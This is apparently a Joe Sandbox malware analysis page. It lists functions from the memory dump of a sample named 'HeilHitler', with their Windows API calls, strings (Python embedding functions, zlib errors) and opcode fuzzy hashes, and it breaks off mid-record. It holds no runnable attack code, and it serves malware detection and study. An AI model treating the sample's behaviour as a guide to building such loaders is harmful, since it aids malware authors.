Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: 961b76213ca98761911f8107df0f137bddfc197f78ccfadd275760d864e1703e
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: ECE08C50F1920282FF096FF2A8571381261AF88B00F840330D81DEA3A2EE2CA892A310

Function 00007FF633D7AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF633D7A9D5,?,?,00000000,00007FF633D7AA8A), ref: 00007FF633D7ABC6
GetLastError.KERNEL32(?,?,?,00007FF633D7A9D5,?,?,00000000,00007FF633D7AA8A), ref: 00007FF633D7ABD0

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: bb6fadb88fe661f1c50253329f5dc08f00c8fd4f1c04d8527db8b862d570277d
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: 0E21E721F2C68241FEA59FE5949737D12829F847A1F084339EA2EE77D2CE6DE4416300

Function 00007FF633D7BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7BED4

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: 2dc2c58e76882c7fe97a43a83f5e256a02c0927397f6123dc5a542c555bc85c4
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: BD41D63291824587EA349FA9A542279B7A0EB55B94F100331E78ED37D1CF3EE443EB51

Function 00007FF633D67F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF633D6803A

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 92d29e443cb0c06cef3e21f718b83060998d20949f4fd0e1cf3ffbb0f0d41c49
Instruction ID: c482a39cc030fcbdb5c74d12cf6a9067f0b0d24bee4a908b9c7825a79cfd48ab
Opcode Fuzzy Hash: 92d29e443cb0c06cef3e21f718b83060998d20949f4fd0e1cf3ffbb0f0d41c49
Instruction Fuzzy Hash: 0A21F721B18B5246FF109FA268063BAA651BF45BC4FCC5930EE1DA7786CE7DE051D300

Function 00007FF633D7B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7B9C2

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction ID: af70bb7a3c6f31b9e390633d1bb89b6c7acd811030c50bd4684439e7c952e65f
Opcode Fuzzy Hash: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction Fuzzy Hash: F131C962E1865285F7116FD5884337D2AA0BF80BA4F410335E96DE33D2DFBCE481A711

Function 00007FF633D79961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF633D7998F

Part of subcall function 00007FF633D79A88: GetModuleHandleExW.KERNEL32 ref: 00007FF633D79AAD
Part of subcall function 00007FF633D79A88: GetProcAddress.KERNEL32 ref: 00007FF633D79AC3
Part of subcall function 00007FF633D79A88: FreeLibrary.KERNEL32 ref: 00007FF633D79AEA

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: 08a48d81eb2e38cde53b7a9b429888a20b3ff0beacc9ba66e80b9356148f543d
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: 82217AB2A057468AFB248FA4C4822EC33A0FB44718F44573AD76EA6BD5DF38D584DB40

Function 00007FF633D75F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D75EF9

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 71194e22d05641b10dc65178b92433d9c01259dbd81bc5257bd447ae03344ba5
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: AA118731A2C64281FA619F91940217DE265BF85B84F844635FB8CF7BD6CF3DD441A701

Function 00007FF633D86354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D86377

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 681b49116d6078b83f6c01a51bb582aea50fed0a75d1bbc720fa48e5edc4b4eb
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 8121C232A08A4586DB618FA8D44237976A1FB84B64F185334E75DDB7D9DF3CE4019B00

Function 00007FF633D703BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D70410

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 8100abf10ddfc778ae3f560dacaff004b234dc34a937c99278895e9b877d69de
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 26019621A0874581EA04DFA6A902179A6A5FF85FE4F484731EE6CB7BD6CF3CE401A300

Function 00007FF633D7EB98 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF633D7B32A,?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A), ref: 00007FF633D7EBED

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction ID: 7422d4e8f3036dac261518129888d41113bb2b43793f05dbd5aaa9a8b1a7c904
Opcode Fuzzy Hash: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction Fuzzy Hash: 63F06D54B0A20240FE5A5EE5985B2B546905F88B80F4C5730CD0FE67E2EE2CE481A210

Function 00007FF633D7D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF633D70C90,?,?,?,00007FF633D722FA,?,?,?,?,?,00007FF633D73AE9), ref: 00007FF633D7D63A

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 1a67376a0a3742251bd4409ebce51042f31dabe0049eacb0d2770a301575f88f
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 7EF0F815F0924A45FE656FF1594377912A05F847A0F480730DD2EE67CAEE2CB580A610

Non-executed Functions

Function 00007FF633D65830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D65840
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D65852
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D65889
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6589B
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D658B4
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D658C6
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D658DF
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D658F1
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6590D
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6591F
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6593B
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6594D
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D65969
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6597B
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D65997
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D659A9
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D659C5
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D659D7

Strings

PyUnicode_FromString, xrefs: 00007FF633D65F7B, 00007FF633D65F9D
PyRun_SimpleStringFlags, xrefs: 00007FF633D65E0B, 00007FF633D65E2D
PyImport_ExecCodeModule, xrefs: 00007FF633D65C11, 00007FF633D65C33
PyObject_Str, xrefs: 00007FF633D65DAF, 00007FF633D65DD1
PyConfig_InitIsolatedConfig, xrefs: 00007FF633D659BB, 00007FF633D659DD
PyObject_GetAttrString, xrefs: 00007FF633D65D53, 00007FF633D65D75
PyObject_CallFunction, xrefs: 00007FF633D65CF7, 00007FF633D65D19
Py_Finalize, xrefs: 00007FF633D658D5, 00007FF633D658F7
PyConfig_Clear, xrefs: 00007FF633D6598D, 00007FF633D659AF
PyUnicode_AsUTF8, xrefs: 00007FF633D65EC3, 00007FF633D65EE5
PyMem_RawFree, xrefs: 00007FF633D65C9B, 00007FF633D65CBD
PyUnicode_Join, xrefs: 00007FF633D65FA9, 00007FF633D65FCB
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF633D65DDD, 00007FF633D65DFF
PySys_GetObject, xrefs: 00007FF633D65E67, 00007FF633D65E89
Py_PreInitialize, xrefs: 00007FF633D6595F, 00007FF633D65981
PyConfig_Read, xrefs: 00007FF633D659E9, 00007FF633D65A0B
PyEval_EvalCode, xrefs: 00007FF633D65BB5, 00007FF633D65BD7
Py_ExitStatusException, xrefs: 00007FF633D658AA, 00007FF633D658CC
PyObject_CallFunctionObjArgs, xrefs: 00007FF633D65D25, 00007FF633D65D47
PyConfig_SetBytesString, xrefs: 00007FF633D65A17, 00007FF633D65A39
PyUnicode_Replace, xrefs: 00007FF633D65FD7, 00007FF633D65FF9
PyErr_Fetch, xrefs: 00007FF633D65ACF, 00007FF633D65AF1
PySys_SetObject, xrefs: 00007FF633D65E95, 00007FF633D65EB7
PyErr_NormalizeException, xrefs: 00007FF633D65AFD, 00007FF633D65B1F
PyMarshal_ReadObjectFromString, xrefs: 00007FF633D65C6D, 00007FF633D65C8F
Py_DecodeLocale, xrefs: 00007FF633D6587F, 00007FF633D658A1
PyUnicode_DecodeFSDefault, xrefs: 00007FF633D65F1F, 00007FF633D65F41
PyModule_GetDict, xrefs: 00007FF633D65CC9, 00007FF633D65CEB
PyImport_AddModule, xrefs: 00007FF633D65BE3, 00007FF633D65C05
PyErr_Print, xrefs: 00007FF633D65B59, 00007FF633D65B7B
PyImport_ImportModule, xrefs: 00007FF633D65C3F, 00007FF633D65C61
Py_InitializeFromConfig, xrefs: 00007FF633D65903, 00007FF633D65925
PyStatus_Exception, xrefs: 00007FF633D65E39, 00007FF633D65E5B
Failed to get address for %hs, xrefs: 00007FF633D65861
PyObject_SetAttrString, xrefs: 00007FF633D65D81, 00007FF633D65DA3
PyConfig_SetWideStringList, xrefs: 00007FF633D65A73, 00007FF633D65A95
PyErr_Restore, xrefs: 00007FF633D65B87, 00007FF633D65BA9
PyConfig_SetString, xrefs: 00007FF633D65A45, 00007FF633D65A67
GetProcAddress, xrefs: 00007FF633D65868
PyUnicode_FromFormat, xrefs: 00007FF633D65F4D, 00007FF633D65F6F
PyUnicode_Decode, xrefs: 00007FF633D65EF1, 00007FF633D65F13
Py_DecRef, xrefs: 00007FF633D65836, 00007FF633D65858
PyErr_Clear, xrefs: 00007FF633D65AA1, 00007FF633D65AC3
Py_IsInitialized, xrefs: 00007FF633D65931, 00007FF633D65953
PyErr_Occurred, xrefs: 00007FF633D65B2B, 00007FF633D65B4D

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: b818f33a4d21ac703cfeb5d339d36cb22e7caedded4b05944280d23af7ad1323
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: FB22CF64A0DB0BD1FA549BD5B8125B433A1FF15781F942335D82EAA7A1FF3CB198B200

Function 00007FF633D840AC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF633D840FA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D84766
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D848DC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D84B9A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D84DBA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D84FF7
memcpy_s.LIBCPMT ref: 00007FF633D850D2
memcpy_s.LIBCPMT ref: 00007FF633D8517D
memcpy_s.LIBCPMT ref: 00007FF633D8524C

Strings

1#INF, xrefs: 00007FF633D84223
1#IND, xrefs: 00007FF633D841E7
1#QNAN, xrefs: 00007FF633D84213
1#SNAN, xrefs: 00007FF633D8420A

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction ID: 5e1c6efec82dc6ffe275985adce9ceb633183f05f9c94d2148d5fed7e3cc9d72
Opcode Fuzzy Hash: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction Fuzzy Hash: BDB2C372E182928BE7658EA4D4427FD77B1FB54788F406235DA0DABB84DF38B940DB40

Function 00007FF633D6ACAD Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid distance too far back, xrefs: 00007FF633D6B670
invalid distances set, xrefs: 00007FF633D6B1A0
invalid distance code, xrefs: 00007FF633D6B5B4
too many length or distance symbols, xrefs: 00007FF633D6AE46
invalid code -- missing end-of-block, xrefs: 00007FF633D6B0C6
invalid literal/length code, xrefs: 00007FF633D6B3E2
invalid bit length repeat, xrefs: 00007FF633D6B099
invalid code lengths set, xrefs: 00007FF633D6AE2D
invalid literal/lengths set, xrefs: 00007FF633D6B133

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 14409f6b5173d9f28888b9fb9c68bcc2b54b8e7def706e6c40ef53002486e1ba
Instruction ID: 6aa77f26bc38f440468bbe148275264d742b0de6070f1f26b0bc2a897f68337d
Opcode Fuzzy Hash: 14409f6b5173d9f28888b9fb9c68bcc2b54b8e7def706e6c40ef53002486e1ba
Instruction Fuzzy Hash: EC5202B2B186A68BD7A48F55D459B7E3BA9EB44340F814239E69E97780DF3CD800DB00

Function 00007FF633D6D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF633D6D148
RtlCaptureContext.KERNEL32 ref: 00007FF633D6D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF633D6D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF633D6D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF633D6D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF633D6D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF633D6D24C

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

